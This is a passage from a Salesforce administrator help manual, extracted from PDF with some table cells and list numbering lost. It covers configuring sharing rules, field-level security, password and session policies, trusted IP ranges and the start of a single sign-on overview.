You can't include high-volume portal users in sharing rules because they don't have roles and can't be in public
groups.
You can create criteria-based sharing rules for accounts, opportunities, cases, contacts, leads, campaigns, and custom objects.
You can create up to 50 criteria-based sharing rules per object.
Record types
These field types:
Auto Number
Checkbox
Date
Date/Time
Email
Number
Percent
Phone
Picklist
Text
638
Text Area
URL
Lookup Relationship (to user ID or queue ID)
Note: Text and Text Area are case-sensitive. For example, a criteria-based sharing rule that specifies Manager in a
text field won't share records with manager in the field. To create a rule with several common cases of a word, enter
each value separated by a comma.
See Also:
Sharing Rules Overview
Managing Record Types
Custom Field Types
Overview of Roles
Creating Workflow Rules
Managing Apex Triggers
Manage Users
Lead sharing rules are based on the record owner or on other criteria, including record type and certain field values. You can
define up to 300 lead sharing rules, including up to 50 criteria-based sharing rules.
1.
2.
3.
4.
If you plan to include public groups in your sharing rule, confirm that the appropriate groups have been created.
Click Your Name > Setup > Security Controls > Sharing Settings.
In the Lead Sharing Rules related list, click New.
Enter the Label and Rule Name. The Label is the sharing rule label as it appears on the user interface. The Rule Name is
a unique name used by the API and managed packages.
5. Select a rule type.
6. Depending on the rule type you selected, do the following:
Based on record ownerIn the owned by members of line, specify the users whose records will be shared:
select a category from the first drop-down list and a set of users from the second drop-down list (or lookup field, if
your organization has over 200 queues, groups, roles, or territories).
Based on criteriaSpecify the Field, Operator, and Value criteria that records must match to be included in the
sharing rule. The fields available depend on the object selected, and the value is always a literal number or string. Click
Add Filter Logic... to change the default AND relationship between each filter.
639
Note: To use a field that's not supported by criteria-based sharing rules, you can create a workflow rule or
Apex trigger to copy the value of the field into a text or numeric field, and use that field as the criterion.
7. In the Share with line, specify the users who should have access to the data: select a category from the first drop-down
list and a set of users from the second drop-down list or lookup field.
8. Select the sharing access setting for users.
Access Setting
Description
Read Only
Read/Write
9. Click Save.
See Also:
Creating and Editing Groups
Sharing Rules Overview
Manage Users
Account sharing rules can be based on the record owner or on other criteria, including record type and certain field values.
You can define up to 300 account sharing rules, including up to 50 criteria-based sharing rules.
1.
2.
3.
4.
If you plan to include public groups in your sharing rule, confirm that the appropriate groups have been created.
Click Your Name > Setup > Security Controls > Sharing Settings.
In the Account Sharing Rules related list, click New.
Enter the Label and Rule Name. The Label is the sharing rule label as it appears on the user interface. The Rule Name is
a unique name used by the API and managed packages.
5. Select a rule type.
6. Depending on the rule type you selected, do the following:
Based on record ownerIn the owned by members of line, specify the users whose records will be shared:
select a category from the first drop-down list and a set of users from the second drop-down list (or lookup field, if
your organization has over 200 queues, groups, roles, or territories).
640
Based on criteriaSpecify the Field, Operator, and Value criteria that records must match to be included in the
sharing rule. The fields available depend on the object selected, and the value is always a literal number or string. Click
Add Filter Logic... to change the default AND relationship between each filter.
Note: To use a field that's not supported by criteria-based sharing rules, you can create a workflow rule or
Apex trigger to copy the value of the field into a text or numeric field, and use that field as the criterion.
7. In the Share with line, specify the users who should have access to the data: select a category from the first drop-down
list and a set of users from the second drop-down list or lookup field.
8. Select a setting for Default Account, Contract and Asset Access.
9. In the remaining fields, select the access settings for the records associated with the shared accounts.
Access Setting
Description
Private
Read/Write
Note: Contact Access isn't available if the organization-wide default for contacts is set to Controlled by Parent.
See Also:
Creating and Editing Groups
Sharing Rules Overview
Criteria-Based Sharing Rules Overview
Entering Filter Criteria
Manage Users
Account territory sharing rules are based on territory assignment. You can define up to 300 account territory sharing rules.
641
1.
2.
3.
4.
5.
6.
7.
8.
If you plan to include public groups in your sharing rule, confirm that the appropriate groups have been created.
Click Your Name > Setup > Security Controls > Sharing Settings.
In the Account Territory Sharing Rules related list, click New.
Enter the Label and Rule Name. The Label is the sharing rule label as it appears on the user interface. The Rule Name is
a unique name used by the API and managed packages.
In the Accounts in Territory line, select Territories or Territories and Subordinates from the first drop-down list and a
territory from the second drop-down list.
In the Share with line, specify the users who should have access to the data: select a category from the first drop-down
list and a set of users from the second drop-down list or lookup field.
Select a setting for Default Account, Contract and Asset Access.
In the remaining fields, select the access setting for the records associated with the shared account territories.
Access Setting
Description
Private
Read/Write
Note: Contact Access isn't available if the organization-wide default for contacts is set to Controlled by Parent.
9. Click Save.
See Also:
Creating and Editing Groups
Territory Management Overview
Sharing Rules Overview
Manage Users
Contact sharing rules can be based on the record owner or on other criteria, including record type and certain field values.
You can define up to 300 contact sharing rules, including up to 50 criteria-based sharing rules.
642
1.
2.
3.
4.
If you plan to include public groups in your sharing rule, confirm that the appropriate groups have been created.
Click Your Name > Setup > Security Controls > Sharing Settings.
In the Contact Sharing Rules related list, click New.
Enter the Label and Rule Name. The Label is the sharing rule label as it appears on the user interface. The Rule Name is
a unique name used by the API and managed packages.
5. Select a rule type.
6. Depending on the rule type you selected, do the following:
Based on record ownerIn the owned by members of line, specify the users whose records will be shared:
select a category from the first drop-down list and a set of users from the second drop-down list (or lookup field, if
your organization has over 200 queues, groups, roles, or territories).
Based on criteriaSpecify the Field, Operator, and Value criteria that records must match to be included in the
sharing rule. The fields available depend on the object selected, and the value is always a literal number or string. Click
Add Filter Logic... to change the default AND relationship between each filter.
Note: To use a field that's not supported by criteria-based sharing rules, you can create a workflow rule or
Apex trigger to copy the value of the field into a text or numeric field, and use that field as the criterion.
7. In the Share with line, specify the users who should have access to the data: select a category from the first drop-down
list and a set of users from the second drop-down list or lookup field.
8. Select the sharing access setting for users.
Access Setting
Description
Read Only
Read/Write
9. Click Save.
See Also:
Creating and Editing Groups
Sharing Rules Overview
Criteria-Based Sharing Rules Overview
Entering Filter Criteria
643
Manage Users
Opportunity sharing rules can be based on the record owner or on other criteria, including record type and certain field values.
You can define up to 300 opportunity sharing rules, including up to 50 criteria-based sharing rules.
1.
2.
3.
4.
If you plan to include public groups in your sharing rule, confirm that the appropriate groups have been created.
Click Your Name > Setup > Security Controls > Sharing Settings.
In the Opportunity Sharing Rules related list, click New.
Enter the Label and Rule Name. The Label is the sharing rule label as it appears on the user interface. The Rule Name is
a unique name used by the API and managed packages.
5. Select a rule type.
6. Depending on the rule type you selected, do the following:
Based on record ownerIn the owned by members of line, specify the users whose records will be shared:
select a category from the first drop-down list and a set of users from the second drop-down list (or lookup field, if
your organization has over 200 queues, groups, roles, or territories).
Based on criteriaSpecify the Field, Operator, and Value criteria that records must match to be included in the
sharing rule. The fields available depend on the object selected, and the value is always a literal number or string. Click
Add Filter Logic... to change the default AND relationship between each filter.
Note: To use a field that's not supported by criteria-based sharing rules, you can create a workflow rule or
Apex trigger to copy the value of the field into a text or numeric field, and use that field as the criterion.
7. In the Share with line, specify the users who should have access to the data: select a category from the first drop-down
list and a set of users from the second drop-down list or lookup field.
8. Select the sharing access setting for users. For owner-based rules or criteria-based rules with ownership as criteria, the
Opportunity Access level applies to opportunities owned by the group, role, or territory members, regardless of the
associated account.
Access Setting
Description
Read Only
Read/Write
644
9. Click Save.
See Also:
Creating and Editing Groups
Sharing Rules Overview
Criteria-Based Sharing Rules Overview
Entering Filter Criteria
Manage Users
Case sharing rules can be based on the record owner or on other criteria, including record type and certain field values. You
can define up to 300 case sharing rules, including up to 50 criteria-based sharing rules.
1.
2.
3.
4.
If you plan to include public groups in your sharing rule, confirm that the appropriate groups have been created.
Click Your Name > Setup > Security Controls > Sharing Settings.
In the Case Sharing Rules related list, click New.
Enter the Label and Rule Name. The Label is the sharing rule label as it appears on the user interface. The Rule Name is
a unique name used by the API and managed packages.
5. Select a rule type.
6. Depending on the rule type you selected, do the following:
Based on record ownerIn the owned by members of line, specify the users whose records will be shared:
select a category from the first drop-down list and a set of users from the second drop-down list (or lookup field, if
your organization has over 200 queues, groups, roles, or territories).
Based on criteriaSpecify the Field, Operator, and Value criteria that records must match to be included in the
sharing rule. The fields available depend on the object selected, and the value is always a literal number or string. Click
Add Filter Logic... to change the default AND relationship between each filter.
Note: To use a field that's not supported by criteria-based sharing rules, you can create a workflow rule or
Apex trigger to copy the value of the field into a text or numeric field, and use that field as the criterion.
7. In the Share with line, specify the users who should have access to the data: select a category from the first drop-down
list and a set of users from the second drop-down list or lookup field.
8. Select the sharing access setting for users.
645
Access Setting
Description
Read Only
Read/Write
9. Click Save.
See Also:
Creating and Editing Groups
Sharing Rules Overview
Criteria-Based Sharing Rules Overview
Entering Filter Criteria
Manage Users
Campaign sharing rules can be based on the record owner or on other criteria, including record type and certain field values.
You can define up to 300 campaign sharing rules, including up to 50 criteria-based sharing rules.
1.
2.
3.
4.
If you plan to include public groups in your sharing rule, confirm that the appropriate groups have been created.
Click Your Name > Setup > Security Controls > Sharing Settings.
In the Campaign Sharing Rules related list, click New.
Enter the Label and Rule Name. The Label is the sharing rule label as it appears on the user interface. The Rule Name is
a unique name used by the API and managed packages.
5. Select a rule type.
6. Depending on the rule type you selected, do the following:
Based on record ownerIn the owned by members of line, specify the users whose records will be shared:
select a category from the first drop-down list and a set of users from the second drop-down list (or lookup field, if
your organization has over 200 queues, groups, roles, or territories).
Based on criteriaSpecify the Field, Operator, and Value criteria that records must match to be included in the
sharing rule. The fields available depend on the object selected, and the value is always a literal number or string. Click
Add Filter Logic... to change the default AND relationship between each filter.
Note: To use a field that's not supported by criteria-based sharing rules, you can create a workflow rule or
Apex trigger to copy the value of the field into a text or numeric field, and use that field as the criterion.
646
7. In the Share with line, specify the users who should have access to the data: select a category from the first drop-down
list and a set of users from the second drop-down list or lookup field.
8. Select the sharing access setting for users.
Access Setting
Description
Read Only
Read/Write
Full Access
Any user in the selected group, role, or territory can view, edit, transfer, delete,
and share the record, just like the record's owner.
With a Full Access sharing rule, users can also view, edit, delete, and close
activities associated with the record if the organization-wide sharing setting for
activities is Controlled by Parent.
9. Click Save.
See Also:
Creating and Editing Groups
Sharing Rules Overview
Manage Users
Custom object sharing rules can be based on the record owner or on other criteria, including record type and certain field
values. You can define up to 300 custom object sharing rules, including up to 50 criteria-based sharing rules.
1.
2.
3.
4.
If you plan to include public groups in your sharing rule, confirm that the appropriate groups have been created.
Click Your Name > Setup > Security Controls > Sharing Settings.
In the Sharing Rules related list for the custom object, click New.
Enter the Label and Rule Name. The Label is the sharing rule label as it appears on the user interface. The Rule Name is
a unique name used by the API and managed packages.
5. Select a rule type.
6. Depending on the rule type you selected, do the following:
Based on record ownerIn the owned by members of line, specify the users whose records will be shared:
select a category from the first drop-down list and a set of users from the second drop-down list (or lookup field, if
your organization has over 200 queues, groups, roles, or territories).
647
Based on criteriaSpecify the Field, Operator, and Value criteria that records must match to be included in the
sharing rule. The fields available depend on the object selected, and the value is always a literal number or string. Click
Add Filter Logic... to change the default AND relationship between each filter.
Note: To use a field that's not supported by criteria-based sharing rules, you can create a workflow rule or
Apex trigger to copy the value of the field into a text or numeric field, and use that field as the criterion.
7. In the Share with line, specify the users who should have access to the data: select a category from the first drop-down
list and a set of users from the second drop-down list or lookup field.
8. Select the sharing access setting for users.
Access Setting
Description
Read Only
Read/Write
9. Click Save.
See Also:
Creating and Editing Groups
Sharing Rules Overview
Criteria-Based Sharing Rules Overview
Entering Filter Criteria
When you define a sharing rule, you can choose from the following categories in the owned by members of and Share
with drop-down lists. Depending on the type of sharing rule and the features enabled for your organization, some categories
may not appear.
Note: You can't include high-volume portal users in sharing rules because they don't have roles and can't be in public
groups.
648
Category
Description
Queues
All records owned by the queue, excluding records owned by individual members of the
queue. Available only in the owned by members of list.
Public Groups
Roles
All roles defined for your organization. This includes all of the users in the specified role.
Portal Roles
All roles defined for your organization's partner portal or Customer Portal. This includes
all users in the specified portal role, except high-volume portal users.
A portal role name includes the name of the account that it's associated with, except for
person accounts, which include the user Alias.
All roles defined for your organization. This includes all of the users in the specified role
plus all of the users in roles below that role, including partner portal and Customer Portal
roles that contain users with a portal license type.
Portal roles are only included in this category if a partner portal or Customer Portal is
enabled for your organization.
The Roles, Internal and Portal Subordinates data set category is only available in your
organization after you create at least one role in the role hierarchy.
All roles defined for your organization's partner portal or Customer Portal. This includes
all of the users in the specified portal role plus all of the users below that role in the portal
role hierarchy, except for high-volume portal users.
A portal role name includes the name of the account that it's associated with, except for
person accounts, which include the user Alias.
All roles defined for your organization. This includes all of the users in the specified role
plus all of the users in roles below that role, excluding partner portal and Customer Portal
roles.
This category only displays if a partner portal or Salesforce Customer Portal is enabled
for your organization.
The Roles and Internal Subordinates data set category is only available in your organization
after you create at least one role in the role hierarchy and enable a portal.
All roles defined for your organization. This includes all of the users in the specified role
plus all of the users in roles below that role, including partner portal and Customer Portal
roles.
This category only displays if a partner portal or Salesforce Customer Portal is enabled
for your organization.
The Roles and Internal Subordinates data set category is only available in your organization
after you create at least one role in the role hierarchy and enable a portal.
649
Category
Description
Territories
All territories defined for your organization. This includes the specified territory plus all
territories below it.
See Also:
Creating and Editing Groups
Overview of Roles
Territory Management Overview
Partner Portal Overview
Setting Up Your Customer Portal
Manage Users
For lead sharing rules, you can edit the sharing access settings, but no other settings.
1.
2.
3.
4.
Click Your Name > Setup > Security Controls > Sharing Settings.
In the Lead Sharing Rules related list, click Edit next to the rule you want to change.
Change the Label and Rule Name if desired.
Select the sharing access setting for users.
Access Setting
Description
Read Only
Read/Write
5. Click Save.
See Also:
Sharing Rules Overview
650
Manage Users
For sharing rules that are based on owner, you can edit only the sharing access settings. For sharing rules that are based on
other criteria, you can edit the criteria and sharing access settings.
1.
2.
3.
4.
Click Your Name > Setup > Security Controls > Sharing Settings.
In the Account Sharing Rules related list, click Edit next to the rule you want to change.
Change the Label and Rule Name if desired.
If you selected a rule that's based on owner, skip to the next step.
If you selected a rule that's based on criteria, specify the criteria that records must match to be included in the sharing rule.
The fields available depend on the object selected, and the value must be a literal number or string. Click Add Filter
Logic... to change the default AND relationship between each filter.
Description
Private
Read/Write
Note: Contact Access isn't available if the organization-wide default for contacts is set to Controlled by Parent.
7. Click Save.
See Also:
Sharing Rules Overview
Criteria-Based Sharing Rules Overview
651
Manage Users
For account territory sharing rules, you can edit the sharing access settings, but no other settings.
1.
2.
3.
4.
Click Your Name > Setup > Security Controls > Sharing Settings.
In the Account Territory Sharing Rules related list, click Edit next to the rule you want to change.
Change the Label and Rule Name if desired.
Select the sharing access setting for users.
Access Setting
Description
Private
Read/Write
Note: Contact Access isn't available if the organization-wide default for contacts is set to Controlled by Parent.
5. Click Save.
See Also:
Sharing Rules Overview
652
Manage Users
For sharing rules that are based on owner, you can edit only the sharing access settings. For sharing rules that are based on
other criteria, you can edit the criteria and sharing access settings.
1.
2.
3.
4.
Click Your Name > Setup > Security Controls > Sharing Settings.
In the Contact Sharing Rules related list, click Edit next to the rule you want to change.
Change the Label and Rule Name if desired.
If you selected a rule that's based on owner, skip to the next step.
If you selected a rule that's based on criteria, specify the criteria that records must match to be included in the sharing rule.
The fields available depend on the object selected, and the value must be a literal number or string. Click Add Filter
Logic... to change the default AND relationship between each filter.
Description
Read Only
Read/Write
6. Click Save.
See Also:
Sharing Rules Overview
Criteria-Based Sharing Rules Overview
653
Manage Users
For sharing rules that are based on owner, you can edit only the sharing access settings. For sharing rules that are based on
other criteria, you can edit the criteria and sharing access settings.
1.
2.
3.
4.
Click Your Name > Setup > Security Controls > Sharing Settings.
In the Opportunity Sharing Rules related list, click Edit next to the rule you want to change.
Change the Label and Rule Name if desired.
If you selected a rule that's based on owner, skip to the next step.
If you selected a rule that's based on criteria, specify the criteria that records must match to be included in the sharing rule.
The fields available depend on the object selected, and the value must be a literal number or string. Click Add Filter
Logic... to change the default AND relationship between each filter.
5. Select the sharing access setting for users. For owner-based rules or criteria-based rules with ownership as criteria, the
Opportunity Access level applies to opportunities owned by the group, role, or territory members, regardless of the
associated account.
Access Setting
Description
Read Only
Read/Write
6. Click Save.
See Also:
Sharing Rules Overview
Criteria-Based Sharing Rules Overview
654
Manage Users
For sharing rules that are based on owner, you can edit only the sharing access settings. For sharing rules that are based on
other criteria, you can edit the criteria and sharing access settings.
1.
2.
3.
4.
Click Your Name > Setup > Security Controls > Sharing Settings.
In the Case Sharing Rules related list, click Edit next to the rule you want to change.
Change the Label and Rule Name if desired.
If you selected a rule that's based on owner, skip to the next step.
If you selected a rule that's based on criteria, specify the criteria that records must match to be included in the sharing rule.
The fields available depend on the object selected, and the value must be a literal number or string. Click Add Filter
Logic... to change the default AND relationship between each filter.
Description
Read Only
Read/Write
6. Click Save.
See Also:
Sharing Rules Overview
Criteria-Based Sharing Rules Overview
655
Manage Users
For campaign sharing rules, you can edit the sharing access settings, but no other settings.
1.
2.
3.
4.
Click Your Name > Setup > Security Controls > Sharing Settings.
In the Campaign Sharing Rules related list, click Edit next to the rule you want to change.
Change the Label and Rule Name if desired.
Select the sharing access setting for users.
Access Setting
Description
Read Only
Read/Write
Full Access
Any user in the selected group, role, or territory can view, edit, transfer, delete,
and share the record, just like the record's owner.
With a Full Access sharing rule, users can also view, edit, delete, and close
activities associated with the record if the organization-wide sharing setting for
activities is Controlled by Parent.
5. Click Save.
See Also:
Sharing Rules Overview
656
Manage Users
For sharing rules that are based on owner, you can edit only the sharing access settings. For sharing rules that are based on
other criteria, you can edit the criteria and sharing access settings.
1.
2.
3.
4.
Click Your Name > Setup > Security Controls > Sharing Settings.
In the Sharing Rules related list for the custom object, click Edit next to the rule you want to change.
Change the Label and Rule Name if desired.
If you selected a rule that's based on owner, skip to the next step.
If you selected a rule that's based on criteria, specify the criteria that records must match to be included in the sharing rule.
The fields available depend on the object selected, and the value must be a literal number or string. Click Add Filter
Logic... to change the default AND relationship between each filter.
Description
Read Only
Read/Write
6. Click Save.
See Also:
Sharing Rules Overview
Criteria-Based Sharing Rules Overview
657
Sharing rules allow you to selectively grant data access to defined sets of users. Review the following notes before using sharing
rules:
You can use sharing rules to grant wider access to data. You cannot restrict access below your organization-wide default
levels.
Sharing rules apply to all new and existing records that meet the definition of the source data set.
Sharing rules apply to both active and inactive users.
When you change the access levels for a sharing rule, all existing records are automatically updated to reflect the new access
levels.
When you delete a sharing rule, the sharing access created by that rule is automatically removed.
When you transfer records from one user to another, the sharing rules are reevaluated to add or remove access to the
transferred records as necessary.
When you modify which users are in a group, role, or territory, the sharing rules are reevaluated to add or remove access
as necessary.
Sharing rules automatically grant additional access to related records. For example, opportunity sharing rules give role or
group members access to the account associated with the shared opportunity if they do not already have it. Likewise, contact
and case sharing rules provide the role or group members with access to the associated account as well.
If multiple sharing rules give a user different levels of access to a record, the user gets the most permissive access level.
Users in the role hierarchy are automatically granted the same access that users below them in the hierarchy have from a
sharing rule, provided that the object is a standard object or the Grant Access Using Hierarchies option is selected.
Regardless of sharing rules, users can, at a minimum, view the accounts in their territories. Also, users can be granted access
to view and edit the contacts, opportunities, and cases associated with their territories' accounts.
Making changes to sharing rules may require changing a large number of records at once. To process these changes
efficiently, you request may be queued and you may receive an email notification when the process has completed.
You can create rules to share records between most types of Customer Portal users and Salesforce users. Similarly, you can
create sharing rules between Customer Portal users from different accounts as long as they have the Customer Portal
Manager user license. However, you can't include high-volume portal users in sharing rules because they don't have roles
and can't be in public groups.
You can easily convert sharing rules that include Roles, Internal and Portal Subordinates to include Roles and Internal
Subordinates instead by using the Convert Portal User Access wizard. Furthermore, you can use this wizard to convert
any publicly accessible report, dashboard, and document folders to folders that are accessible by all users except for portal
users.
658
Lead sharing rules do not automatically grant access to lead information after leads are converted into account, contact,
and opportunity records.
See Also:
Sharing Rules Overview
Criteria-Based Sharing Rules Overview
About High-Volume Portal Users (Service Cloud Portal Users)
Note: The defer sharing calculation feature isn't enabled by default. To enable it for your organization, contact
salesforce.com.
Performing a large number of configuration changes can lead to very long sharing rule evaluations or timeouts. To avoid these
issues, an administrator can suspend these calculations and resume calculations during an organization's maintenance period.
Deferring sharing calculation is ideal if you make a large number of changes to roles, territories, groups, users, portal account
ownership, or public groups participating in sharing rules, and want to suspend the automatic sharing calculation to a later
time.
Group membership and sharing rule calculation are enabled by default.
If
You can
Group membership calculation is suspended and sharing rule Suspend, update, resume, and recalculate sharing rule
calculation is enabled
calculation.
To suspend or resume group membership calculation, see Managing Group Membership Calculations.
To suspend, resume, or recalculate sharing rule calculation, see Sharing Rule Recalculation.
See Also:
Managing Group Membership Calculations
Recalculating Sharing Rules
659
Manage Users
When you make changes to groups, roles, and territories, sharing rules are usually automatically reevaluated to add or remove
access as necessary. Changes could include adding or removing individual users from a group, role, or territory, changing which
role a particular role reports to, changing which territory a particular territory is subordinate to, or adding or removing a group
from within another group. However, if these changes affect too many records at once, a message appears warning that the
sharing rules won't be automatically reevaluated, and you must manually recalculate them.
Note:
You dont have to recalculate each time you edit or create a new sharing rule. The Recalculate buttons on the Sharing
Rules related lists should only be used if sharing rule updates have failed or are not working as expected. Admins will
receive a notification email if sharing rule updates have failed.
To manually recalculate an object's sharing rules:
1. Click Your Name > Setup > Security Controls > Sharing Settings.
2. In the Sharing Rules related list for the object you want, click Recalculate.
Note: The Recalculate button is disabled when group membership or sharing rule calculations are deferred.
When sharing is recalculated, Salesforce also runs all Apex sharing recalculations.
Automatic sharing rule calculation is enabled by default. You can defer sharing rule calculation by suspending and resuming
at your discretion.
See Also:
Sharing Rules Overview
Recalculating Apex Managed Sharing
Defer Sharing Calculations Overview
Managing Group Membership Calculations
660
Manage Users
Note: The defer sharing calculation feature isn't enabled by default. To enable it for your organization, contact
salesforce.com.
To suspend, resume, or recalculate sharing rule calculation:
1. Click Your Name > Setup > Security Controls > Defer Sharing Calculations.
2. In the Sharing Rule Calculations related list, click Suspend.
3. Make changes to sharing rules, roles, territories, or public groups participating in sharing rules.
Note: Any changes to sharing rules require a full recalculation.
661
Manage Users
AND
View Setup and Configuration
AND
Manage Sharing Calculation Deferral
Manage Users
Note: The defer sharing calculation feature isn't enabled by default. To enable it for your organization, contact
salesforce.com.
When you make changes to roles, territories, groups, or users, or change ownership of portal accounts, group membership is
automatically recalculated to add or remove access as necessary. Changes can include adding or removing a user from a group
or changing a role to allow access to different sets of reports.
If you are making changes to groups that affect a lot of records, you may want to suspend automatic group membership
calculation.
To suspend or resume group membership calculation:
1. Click Your Name > Setup > Security Controls > Defer Sharing Calculations.
2. In the Group Membership Calculations related list, click Suspend.
Note: If sharing rule calculations are enabled, suspending group membership calculations also suspends sharing
rule calculations. Resuming group membership calculations also requires full sharing rule recalculation.
You can't join a Chatter group during recalculation because adding a user to a Chatter group affects group
membership tables, and group membership tables can't be changed during recalculation. You can join a Chatter
group when group membership recalculation is finished.
3. Make your changes to roles, territories, groups, users, or portal account ownership.
4. To enable group membership calculation, click Resume.
See Also:
Defer Sharing Calculations Overview
Recalculating Sharing Rules
662
Field-level security settings let administrators restrict users access to view and edit specific fields in:
The fields that users see on detail and edit pages are a combination of page layouts and field-level security settings. The most
restrictive field access settings of the two always apply. For example, if a field is required in the page layout and read-only in
the field-level security settings, the field-level security overrides the page layout and the field will be read-only for the user.
Important: Field-level security doesn't prevent searching on the values in a field. To set up your organization to
prevent users from searching and retrieving records that match a value in a field hidden by field-level security, contact
salesforce.com Customer Support.
You can define field-level security in any of the following ways:
Create page layouts to organize the fields on detail and edit pages.
Tip: Use field-level security as the means to restrict users access to fields; then use page layouts primarily to
organize detail and edit pages within tabs. This reduces the number of page layouts for you to maintain.
663
Note: Roll-up summary and formula fields are always read-only on detail pages and not available on edit pages. They
may also be visible to users even though they reference fields that your users cannot see. Universally required fields
always display on edit pages regardless of field-level security.
The relationship group wizard allows you to create and edit relationship groups regardless of field-level security. For
more information on the behaviors of relationship group members, see Relationship Group Considerations on page
2679.
See Also:
Overview of Page Layouts and Field-Level Security
Overview of User Permissions and Access
Administrator tip sheet: Tips & Hints for Page Layouts and Field-Level Security
Customize Application
Field permissions specify the access level for each field in an object.
1. Click Your Name > Setup > Manage Users, then click Permission Sets or Profiles.
2. Select a permission set or profile.
3. Depending on which interface you're using, do one of the following:
Permission sets or enhanced profile user interfaceIn the Find Settings... box, enter the name of the object you want
and select it from the list. Click Edit, then scroll to the Field Permissions section.
Original profile user interfaceIn the Field-Level Security section, click View next to the object you want to modify,
and then click Edit.
See Also:
Field-Level Security Overview
664
1.
2.
3.
4.
5.
Customize Application
Select Your Name > Setup > Customize, click a tab or activity link, and click Fields.
Select the field you want to modify.
Click Set Field-Level Security.
Specify the field's access level.
Click Save.
See Also:
Field-Level Security Overview
Manage Users
For your organizations security, you can set various password and login policies.
Note: User passwords cannot exceed 16,000 bytes.
1. Click Your Name > Setup > Security Controls > Password Policies.
2. Customize the password settings.
Field
Description
The length of time until all user passwords expire and must
be changed. Users with the Password Never Expires
permission are not affected by this setting. The default is 90
days. This setting is not available for Self-Service portals.
665
Field
Description
666
Field
Description
Message
Help link
If set, this link displays with the text defined in the Message
field. In the Account Lockout email, the URL displays just
as it is typed into the Help link field, so the user can see
where the link takes them. This is a security feature because
the user is not within a Salesforce organization.
On the Confirm Identity password screen, the Help link
URL combines with the text in the Message field to make
a clickable link. Security isn't an issue since the user is in a
Salesforce organization when changing passwords.
Valid protocols:
http
https
mailto:
4. Specify an alternative home page for users with the API Only User permission. After completing user management tasks
such as resetting a password, API-only users are redirected to the URL specified here, rather than to the login page.
5. Click Save.
See Also:
Setting Login Restrictions
Resetting Passwords
Expiring Passwords
Security Implementation Guide
667
Customize Application
You can modify session security settings to specify connection type, timeout settings, and more.
1. Click Your Name > Setup > Security Controls > Session Settings.
2. Customize the session security settings.
Field
Description
Timeout value
Length of time after which the system logs out inactive users. Select a
value between 15 minutes and 12 hours. Choose a shorter timeout period
if your organization has sensitive information and you want to enforce
stricter security.
Note: The last active session time value isnt updated until
halfway through the timeout period. That is, if you have a 30
minute timeout, the system wont check for activity until 15
minutes have passed. For example, assume you have a 30 minute
timeout value. If you update a record after 10 minutes, the last
active session time value wont be updated because there was no
activity after 15 minutes. Youll be logged out in 20 more minutes
(30 minutes total) because the last active session time wasnt
updated. Suppose you update a record after 20 minutes. Thats
five minutes after the last active session time is checked, so your
timeout resets and you have another 30 minutes before being
logged out, for a total of 50 minutes.
668
Field
Description
Require secure connections (HTTPS) Determines whether HTTPS is required to log in to or access Salesforce,
apart from Force.com sites, which can still be accessed using HTTP.
(To enforce HTTPS for all Force.com sites communication, see Public
Access Settings for Force.com Sites on page 1633.)
This option is enabled by default for security reasons. It should not be
disabled. Once this preference is set to require HTTPS, you cant
manually change it. To change to HTTP, contact your salesforce.com
representative.
Note: The Resetting Passwords on page 511 page can only be
accessed using HTTPS.
669
Field
Description
Login IP Ranges
3. Click Save.
See Also:
Security Implementation Guide
Manage Users
To help protect your organization's data from unauthorized access, you can specify a list of IP addresses from which users can
always log in without receiving a login challenge:
1. Click Your Name > Setup > Security Controls > Network Access.
2. Click New.
3. Enter a valid IP address in the Start IP Address field and a higher IP address in the End IP Address field.
The start and end addresses define the range of allowable IP addresses from which users can log in. If you want to allow
logins from a single IP address, enter the same address in both fields. For example, to allow logins from only 125.12.3.0,
enter 125.12.3.0 as both the start and end addresses.
The start and end IP addresses in an IPv4 range must include no more than 33,554,432 addresses (225, a /7 CIDR block).
For example, the following ranges are valid:
0.0.0.0 to 1.255.255.255
132.0.0.0 to 132.255.255.255
132.0.0.0 to 133.255.255.255
However, ranges like 0.0.0.0 to 2.255.255.255 or 132.0.0.0 to 134.0.0.0 are too large.
670
Single Sign On
The start and end IP addresses in an IPv6 range must include no more than 79,228,162,514,264,337,593,543,950,336
addresses (296, a /32 CIDR block). For example, the following range is valid: 2001:8000:: to
2001:8000:ffff:ffff:ffff:ffff:ffff:ffff. However, ranges like :: to
ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff or 2001:8000:: to 2001:8001:: are too large.
4. Click Save.
Note: For organizations that were activated before December 2007, Salesforce automatically populated your
organization's trusted IP address list in December 2007, when this feature was introduced. The IP addresses from
which trusted users had already accessed Salesforce during the past six months were added.
Note: Both IP addresses in a range must be either IPv4 or IPv6. In ranges, IPv4 addresses exist in the IPv4-mapped
IPv6 address space ::ffff:0:0 to ::ffff:ffff:ffff, where ::ffff:0:0 is 0.0.0.0 and ::ffff:ffff:ffff
is 255.255.255.255. A range can't include IP addresses inside of the IPv4-mapped IPv6 address space if it also
includes IP addresses outside of the IPv4-mapped IPv6 address space. Ranges such as 255.255.255.255 to
::1:0:0:0 or :: to ::1:0:0:0 are not allowed. You can set up IPv6 addresses in all organizations, but IPv6 is only
enabled for login in sandbox organizations for the Spring '12 release.
See Also:
Setting Login Restrictions
Security Implementation Guide
SINGLE SIGN ON
About Single Sign-On
Federated Authentication is available in: All Editions
Delegated Authentication is available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions
Customize Application
AND
Modify All Data
Single sign-on is a process that allows network users to access all authorized network resources without having to log in
separately to each resource. Single sign-on allows you to validate usernames and passwords against your corporate user database
or other client application rather than having separate user passwords managed by Salesforce.
671
Federated authentication using Security Assertion Markup Language (SAML): When federated authentication is
enabled, Salesforce does not validate a users password. Instead, Salesforce verifies an assertion in the HTTP POST request,
and allows single sign-on if the assertion is true. This is the default form of single sign-on. Federated authentication is
available in all Editions.
Delegated authentication: When delegated authentication is enabled, Salesforce does not validate a users password.
Instead, Salesforce makes a Web services call to your organization to establish authentication credentials for the user. You
must request that this feature be enabled by salesforce.com. Contact salesforce.com to enable delegated authentication
single sign-on for your organization.
When you have an external identity provider, and configure single sign-on for your Salesforce organization, Salesforce is then
acting as a service provider. You can also enable Salesforce as an identity provider, and use single sign-on to connect to a different
service provider. Only the service provider needs to configure single sign-on.
The Single Sign-On Settings page displays which version of single sign-on is available for your organization. To learn more
about the single sign-on settings, see Configuring SAML Settings for Single Sign-On on page 687. For more information
about SAML and Salesforce security, see the Security Implementation Guide.
Benefits of Single Sign-On
Implementing single sign-on can offer the following advantages to your organization:
Reduced Administrative Costs: With single sign-on, users only need to memorize a single password to access both network
resources or external applications and Salesforce. When accessing Salesforce from inside the corporate network, users are
logged in seamlessly, without being prompted to enter a username or password. When accessing Salesforce from outside
